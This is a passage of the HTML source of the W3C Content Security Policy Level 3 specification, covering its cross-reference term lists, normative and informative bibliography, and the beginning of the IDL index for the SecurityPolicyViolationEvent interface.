href=\"https://infra.spec.whatwg.org/#strip-leading-and-trailing-ascii-whitespace\">strip leading and trailing ascii whitespace</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[MIMESNIFF]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://mimesniff.spec.whatwg.org/#valid-mime-type\">valid mime type</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[REPORTING]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://w3c.github.io/reporting/#group\">group</a>\n     <li><a href=\"https://w3c.github.io/reporting/#queue-report\">queue report</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[rfc2045]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc2045#section-5.1\">subtype</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc2045#section-5.1\">type</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[RFC3986]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">ipv4address</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">path-absolute</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">scheme</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-4.1\">uri-reference</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[rfc4648]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64 encoding</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc4648#section-5\">base64url encoding</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[RFC5234]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">alpha</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">digit</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">vchar</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[RFC7230]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">ows</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">rws</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\">token</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[rfc7231]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-3\">representation</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource representation</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[service-workers-1]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://w3c.github.io/ServiceWorker/#serviceworker\">ServiceWorker</a>\n     <li><a href=\"https://w3c.github.io/ServiceWorker/#serviceworkerglobalscope\">ServiceWorkerGlobalScope</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[SHA2]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">sha-256</a>\n     <li><a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">sha-384</a>\n     <li><a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf#\">sha-512</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[URL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://url.spec.whatwg.org/#url\">URL</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-base-url\">base url</a>\n     <li><a href=\"https://url.spec.whatwg.org/#default-port\">default port</a>\n     <li><a href=\"https://url.spec.whatwg.org/#dom-url-host\">host <small>(for URL)</small></a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-host\">host <small>(for url)</small></a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-ipv6\">ipv6 address</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-origin\">origin</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-path\">path</a>\n     <li><a href=\"https://url.spec.whatwg.org/#percent-decode\">percent decode</a>\n     <li><a href=\"https://url.spec.whatwg.org/#dom-url-port\">port <small>(for URL)</small></a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-port\">port <small>(for url)</small></a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-scheme\">scheme</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-parser\">url parser</a>\n     <li><a href=\"https://url.spec.whatwg.org/#concept-url-serializer\">url serializer</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[WebIDL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>\n     <li><a href=\"https://heycam.github.io/webidl/#idl-long\">long</a>\n     <li><a href=\"https://heycam.github.io/webidl/#idl-unsigned-short\">unsigned short</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\">[worklets-1]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\">WorkletGlobalScope</a>\n     <li><a href=\"https://drafts.css-houdini.org/worklets/#workletglobalscope-owner-document\">owner document</a>\n    </ul>\n  </ul>\n  <h2 class=\"no-num no-ref heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num no-ref heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-csp3\">[CSP3]\n   <dd>Mike West. <a href=\"https://www.w3.org/TR/CSP3/\">Content Security Policy Level 3</a>. 13 September 2016. WD. URL: <a href=\"https://www.w3.org/TR/CSP3/\">https://www.w3.org/TR/CSP3/</a>\n   <dt id=\"biblio-css-cascade-4\">[CSS-CASCADE-4]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"https://www.w3.org/TR/css-cascade-4/\">CSS Cascading and Inheritance Level 4</a>. 14 January 2016. CR. URL: <a href=\"https://www.w3.org/TR/css-cascade-4/\">https://www.w3.org/TR/css-cascade-4/</a>\n   <dt id=\"biblio-cssom\">[CSSOM]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"https://www.w3.org/TR/cssom-1/\">CSS Object Model (CSSOM)</a>. 17 March 2016. WD. URL: <a href=\"https://www.w3.org/TR/cssom-1/\">https://www.w3.org/TR/cssom-1/</a>\n   <dt id=\"biblio-dom\">[DOM]\n   <dd>Anne van Kesteren. <a href=\"https://dom.spec.whatwg.org/\">DOM Standard</a>. Living Standard. URL: <a href=\"https://dom.spec.whatwg.org/\">https://dom.spec.whatwg.org/</a>\n   <dt id=\"biblio-ecma262\">[ECMA262]\n   <dd>Brian Terlson; Allen Wirfs-Brock. <a href=\"https://tc39.github.io/ecma262/\">ECMAScript® Language Specification</a>. URL: <a href=\"https://tc39.github.io/ecma262/\">https://tc39.github.io/ecma262/</a>\n   <dt id=\"biblio-fetch\">[FETCH]\n   <dd>Anne van Kesteren. <a href=\"https://fetch.spec.whatwg.org/\">Fetch Standard</a>. Living Standard. URL: <a href=\"https://fetch.spec.whatwg.org/\">https://fetch.spec.whatwg.org/</a>\n   <dt id=\"biblio-html\">[HTML]\n   <dd>Anne van Kesteren; et al. <a href=\"https://html.spec.whatwg.org/multipage/\">HTML Standard</a>. Living Standard. URL: <a href=\"https://html.spec.whatwg.org/multipage/\">https://html.spec.whatwg.org/multipage/</a>\n   <dt id=\"biblio-infra\">[INFRA]\n   <dd>Anne van Kesteren; Domenic Denicola. <a href=\"https://infra.spec.whatwg.org/\">Infra Standard</a>. Living Standard. URL: <a href=\"https://infra.spec.whatwg.org/\">https://infra.spec.whatwg.org/</a>\n   <dt id=\"biblio-mimesniff\">[MIMESNIFF]\n   <dd>Gordon P. Hemsley. <a href=\"https://mimesniff.spec.whatwg.org/\">MIME Sniffing Standard</a>. Living Standard. URL: <a href=\"https://mimesniff.spec.whatwg.org/\">https://mimesniff.spec.whatwg.org/</a>\n   <dt id=\"biblio-reporting\">[REPORTING]\n   <dd>Ilya Gregorik; Mike West. <a href=\"https://wicg.github.io/reporting/\">Reporting API</a>. URL: <a href=\"https://wicg.github.io/reporting/\">https://wicg.github.io/reporting/</a>\n   <dt id=\"biblio-rfc2045\">[RFC2045]\n   <dd>N. Freed; N. Borenstein. <a href=\"https://tools.ietf.org/html/rfc2045\">Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies</a>. November 1996. Draft Standard. URL: <a href=\"https://tools.ietf.org/html/rfc2045\">https://tools.ietf.org/html/rfc2045</a>\n   <dt id=\"biblio-rfc2119\">[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc3492\">[RFC3492]\n   <dd>A. Costello. <a href=\"https://tools.ietf.org/html/rfc3492\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. March 2003. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3492\">https://tools.ietf.org/html/rfc3492</a>\n   <dt id=\"biblio-rfc3864\">[RFC3864]\n   <dd>G. Klyne; M. Nottingham; J. Mogul. <a href=\"https://tools.ietf.org/html/rfc3864\">Registration Procedures for Message Header Fields</a>. September 2004. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc3864\">https://tools.ietf.org/html/rfc3864</a>\n   <dt id=\"biblio-rfc3986\">[RFC3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"https://tools.ietf.org/html/rfc3986\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3986\">https://tools.ietf.org/html/rfc3986</a>\n   <dt id=\"biblio-rfc4648\">[RFC4648]\n   <dd>S. Josefsson. <a href=\"https://tools.ietf.org/html/rfc4648\">The Base16, Base32, and Base64 Data Encodings</a>. October 2006. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc4648\">https://tools.ietf.org/html/rfc4648</a>\n   <dt id=\"biblio-rfc5234\">[RFC5234]\n   <dd>D. Crocker, Ed.; P. Overell. <a href=\"https://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>. January 2008. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5234\">https://tools.ietf.org/html/rfc5234</a>\n   <dt id=\"biblio-rfc7034\">[RFC7034]\n   <dd>D. Ross; T. Gondrom. <a href=\"https://tools.ietf.org/html/rfc7034\">HTTP Header Field X-Frame-Options</a>. October 2013. Informational. URL: <a href=\"https://tools.ietf.org/html/rfc7034\">https://tools.ietf.org/html/rfc7034</a>\n   <dt id=\"biblio-rfc7230\">[RFC7230]\n   <dd>R. Fielding, Ed.; J. Reschke, Ed.. <a href=\"https://tools.ietf.org/html/rfc7230\">Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a>. June 2014. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc7230\">https://tools.ietf.org/html/rfc7230</a>\n   <dt id=\"biblio-rfc7231\">[RFC7231]\n   <dd>R. Fielding, Ed.; J. Reschke, Ed.. <a href=\"https://tools.ietf.org/html/rfc7231\">Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</a>. June 2014. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc7231\">https://tools.ietf.org/html/rfc7231</a>\n   <dt id=\"biblio-rfc7762\">[RFC7762]\n   <dd>M. West. <a href=\"https://tools.ietf.org/html/rfc7762\">Initial Assignment for the Content Security Policy Directives Registry</a>. January 2016. Informational. URL: <a href=\"https://tools.ietf.org/html/rfc7762\">https://tools.ietf.org/html/rfc7762</a>\n   <dt id=\"biblio-rfc8288\">[RFC8288]\n   <dd>M. Nottingham. <a href=\"https://tools.ietf.org/html/rfc8288\">Web Linking</a>. October 2017. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc8288\">https://tools.ietf.org/html/rfc8288</a>\n   <dt id=\"biblio-service-workers-1\">[SERVICE-WORKERS-1]\n   <dd>Alex Russell; et al. <a href=\"https://www.w3.org/TR/service-workers-1/\">Service Workers 1</a>. 2 November 2017. WD. URL: <a href=\"https://www.w3.org/TR/service-workers-1/\">https://www.w3.org/TR/service-workers-1/</a>\n   <dt id=\"biblio-sha2\">[SHA2]\n   <dd><a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\">FIPS PUB 180-4, Secure Hash Standard</a>. URL: <a href=\"http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf\">http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf</a>\n   <dt id=\"biblio-sri\">[SRI]\n   <dd>Devdatta Akhawe; et al. <a href=\"https://www.w3.org/TR/SRI/\">Subresource Integrity</a>. 23 June 2016. REC. URL: <a href=\"https://www.w3.org/TR/SRI/\">https://www.w3.org/TR/SRI/</a>\n   <dt id=\"biblio-url\">[URL]\n   <dd>Anne van Kesteren. <a href=\"https://url.spec.whatwg.org/\">URL Standard</a>. Living Standard. URL: <a href=\"https://url.spec.whatwg.org/\">https://url.spec.whatwg.org/</a>\n   <dt id=\"biblio-webidl\">[WebIDL]\n   <dd>Cameron McCormack; Boris Zbarsky; Tobie Langel. <a href=\"https://heycam.github.io/webidl/\">Web IDL</a>. 15 December 2016. ED. URL: <a href=\"https://heycam.github.io/webidl/\">https://heycam.github.io/webidl/</a>\n   <dt id=\"biblio-worklets-1\">[WORKLETS-1]\n   <dd>Ian Kilpatrick. <a href=\"https://www.w3.org/TR/worklets-1/\">Worklets Level 1</a>. 7 June 2016. WD. URL: <a href=\"https://www.w3.org/TR/worklets-1/\">https://www.w3.org/TR/worklets-1/</a>\n  </dl>\n  <h3 class=\"no-num no-ref heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-appmanifest\">[APPMANIFEST]\n   <dd>Marcos Caceres; et al. <a href=\"https://www.w3.org/TR/appmanifest/\">Web App Manifest</a>. 26 October 2017. WD. URL: <a href=\"https://www.w3.org/TR/appmanifest/\">https://www.w3.org/TR/appmanifest/</a>\n   <dt id=\"biblio-beacon\">[BEACON]\n   <dd>Ilya Grigorik; et al. <a href=\"https://www.w3.org/TR/beacon/\">Beacon</a>. 13 April 2017. CR. URL: <a href=\"https://www.w3.org/TR/beacon/\">https://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-csp2\">[CSP2]\n   <dd>Mike West; Adam Barth; Daniel Veditz. <a href=\"https://www.w3.org/TR/CSP2/\">Content Security Policy Level 2</a>. 15 December 2016. REC. URL: <a href=\"https://www.w3.org/TR/CSP2/\">https://www.w3.org/TR/CSP2/</a>\n   <dt id=\"biblio-css-abuse\">[CSS-ABUSE]\n   <dd>Chris Evans. <a href=\"https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">Generic cross-browser cross-domain theft</a>. 28 December 2009. URL: <a href=\"https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html</a>\n   <dt id=\"biblio-eventsource\">[EVENTSOURCE]\n   <dd>Ian Hickson. <a href=\"https://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 3 February 2015. REC. URL: <a href=\"https://www.w3.org/TR/eventsource/\">https://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-filedescriptor-2015\">[FILEDESCRIPTOR-2015]\n   <dd>filedescriptor. <a href=\"https://blog.innerht.ml/csp-2015/#danglingmarkupinjection\">CSP 2015</a>. 23 November 2015. URL: <a href=\"https://blog.innerht.ml/csp-2015/#danglingmarkupinjection\">https://blog.innerht.ml/csp-2015/#danglingmarkupinjection</a>\n   <dt id=\"biblio-h5sc3\">[H5SC3]\n   <dd>Mario Heiderich. <a href=\"https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22\">H5SC Minichallenge 3: \"Sh*t, it's CSP!\"</a>. URL: <a href=\"https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22\">https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22</a>\n   <dt id=\"biblio-html-design\">[HTML-DESIGN]\n   <dd>Anne Van Kesteren; Maciej Stachowiak. <a href=\"https://www.w3.org/TR/html-design-principles/\">HTML Design Principles</a>. URL: <a href=\"https://www.w3.org/TR/html-design-principles/\">https://www.w3.org/TR/html-design-principles/</a>\n   <dt id=\"biblio-mix\">[MIX]\n   <dd>Mike West. <a href=\"https://www.w3.org/TR/mixed-content/\">Mixed Content</a>. 2 August 2016. CR. URL: <a href=\"https://www.w3.org/TR/mixed-content/\">https://www.w3.org/TR/mixed-content/</a>\n   <dt id=\"biblio-timing\">[TIMING]\n   <dd>Paul Stone. <a href=\"http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf\">Pixel Perfect Timing Attacks with HTML5</a>. URL: <a href=\"http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf\">http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf</a>\n   <dt id=\"biblio-uisecurity\">[UISECURITY]\n   <dd>Brad Hill. <a href=\"https://www.w3.org/TR/UISecurity/\">User Interface Security and the Visibility API</a>. 7 June 2016. WD. URL: <a href=\"https://www.w3.org/TR/UISecurity/\">https://www.w3.org/TR/UISecurity/</a>\n   <dt id=\"biblio-upgrade-insecure-requests\">[UPGRADE-INSECURE-REQUESTS]\n   <dd>Mike West. <a href=\"https://www.w3.org/TR/upgrade-insecure-requests/\">Upgrade Insecure Requests</a>. 8 October 2015. CR. URL: <a href=\"https://www.w3.org/TR/upgrade-insecure-requests/\">https://www.w3.org/TR/upgrade-insecure-requests/</a>\n   <dt id=\"biblio-websockets\">[WEBSOCKETS]\n   <dd>Ian Hickson. <a href=\"https://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"https://www.w3.org/TR/websockets/\">https://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-xhr\">[XHR]\n   <dd>Anne van Kesteren. <a href=\"https://xhr.spec.whatwg.org/\">XMLHttpRequest Standard</a>. Living Standard. URL: <a href=\"https://xhr.spec.whatwg.org/\">https://xhr.spec.whatwg.org/</a>\n   <dt id=\"biblio-xslt\">[XSLT]\n   <dd>James Clark. <a href=\"https://www.w3.org/TR/xslt/\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"https://www.w3.org/TR/xslt/\">https://www.w3.org/TR/xslt/</a>\n  </dl>\n  <h2 class=\"no-num no-ref heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n<pre class=\"idl highlight def\"><span class=\"kt\">enum</span> <a class=\"nv\" href=\"#enumdef-securitypolicyviolationeventdisposition\"><code>SecurityPolicyViolationEventDisposition</code></a> {\n  <a class=\"s\" href=\"#dom-securitypolicyviolationeventdisposition-enforce\"><code>\"enforce\"</code></a>, <a class=\"s\" href=\"#dom-securitypolicyviolationeventdisposition-report\"><code>\"report\"</code></a>\n};\n\n[<a class=\"nv\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"><code>Constructor</code></a>(<a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑧\"><span class=\"kt\">DOMString</span></a> <a class=\"nv\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"><code>type</code></a>, <span class=\"kt\">optional</span> <a class=\"n\" data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\" id=\"ref-for-dictdef-securitypolicyviolationeventinit①\">SecurityPolicyViolationEventInit</a> <a class=\"nv\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"><code>eventInitDict</code></a>)]\n<span class=\"kt\">interface</span> <a class=\"nv\" href=\"#securitypolicyviolationevent\"><code>SecurityPolicyViolationEvent</code></a> : <a class=\"n\" data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#event\" id=\"ref-for-event①\">Event</a> {\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑦\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-documenturi\"><code>documentURI</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString②①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-referrer\"><code>referrer</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString③①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-blockeduri\"><code>blockedURI</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString④①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-violateddirective\"><code>violatedDirective</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑤①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"><code>effectiveDirective</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑥①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"><code>originalPolicy</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑦①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-sourcefile\"><code>sourceFile</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑧①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-readonly=\"\" data-type=\"DOMString\" href=\"#dom-securitypolicyviolationevent-sample\"><code>sample</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n\" data-link-type=\"idl-name\" href=\"#enumdef-securitypolicyviolationeventdisposition\" id=\"ref-for-enumdef-securitypolicyviolationeventdisposition②\">SecurityPolicyViolationEventDisposition</a>      <a class=\"nv\" data-readonly=\"\" data-type=\"SecurityPolicyViolationEventDisposition\" href=\"#dom-securitypolicyviolationevent-disposition\"><code>disposition</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-unsigned-short\" id=\"ref-for-idl-unsigned-short②\"><span class=\"kt\">unsigned</span> <span class=\"kt\">short</span></a> <a class=\"nv\" data-readonly=\"\" data-type=\"unsigned short\" href=\"#dom-securitypolicyviolationevent-statuscode\"><code>statusCode</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long④\"><span class=\"kt\">long</span></a>           <a class=\"nv\" data-readonly=\"\" data-type=\"long\" href=\"#dom-securitypolicyviolationevent-linenumber\"><code>lineNumber</code></a>;\n    <span class=\"kt\">readonly</span>    <span class=\"kt\">attribute</span> <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long①①\"><span class=\"kt\">long</span></a>           <a class=\"nv\" data-readonly=\"\" data-type=\"long\" href=\"#dom-securitypolicyviolationevent-columnnumber\"><code>columnNumber</code></a>;\n};\n\n<span class=\"kt\">dictionary</span> <a class=\"nv\" href=\"#dictdef-securitypolicyviolationeventinit\"><code>SecurityPolicyViolationEventInit</code></a> : <a class=\"n\" data-link-type=\"idl-name\" href=\"https://dom.spec.whatwg.org/#dictdef-eventinit\" id=\"ref-for-dictdef-eventinit①\">EventInit</a> {\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString⑨①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-documenturi\"><code>documentURI</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⓪①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-referrer\"><code>referrer</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①①①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"><code>blockedURI</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①②①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"><code>violatedDirective</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①③①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"><code>effectiveDirective</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①④①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"><code>originalPolicy</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑤①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"><code>sourceFile</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-DOMString\" id=\"ref-for-idl-DOMString①⑥①\"><span class=\"kt\">DOMString</span></a>      <a class=\"nv\" data-type=\"DOMString      \" href=\"#dom-securitypolicyviolationeventinit-sample\"><code>sample</code></a>;\n    <a class=\"n\" data-link-type=\"idl-name\" href=\"#enumdef-securitypolicyviolationeventdisposition\" id=\"ref-for-enumdef-securitypolicyviolationeventdisposition①①\">SecurityPolicyViolationEventDisposition</a>      <a class=\"nv\" data-type=\"SecurityPolicyViolationEventDisposition      \" href=\"#dom-securitypolicyviolationeventinit-disposition\"><code>disposition</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-unsigned-short\" id=\"ref-for-idl-unsigned-short①①\"><span class=\"kt\">unsigned</span> <span class=\"kt\">short</span></a> <a class=\"nv\" data-type=\"unsigned short \" href=\"#dom-securitypolicyviolationeventinit-statuscode\"><code>statusCode</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long②①\"><span class=\"kt\">long</span></a>           <a class=\"nv\" data-type=\"long           \" href=\"#dom-securitypolicyviolationeventinit-linenumber\"><code>lineNumber</code></a>;\n    <a class=\"n idl-code\" data-link-type=\"interface\" href=\"https://heycam.github.io/webidl/#idl-long\" id=\"ref-for-idl-long③①\"><span 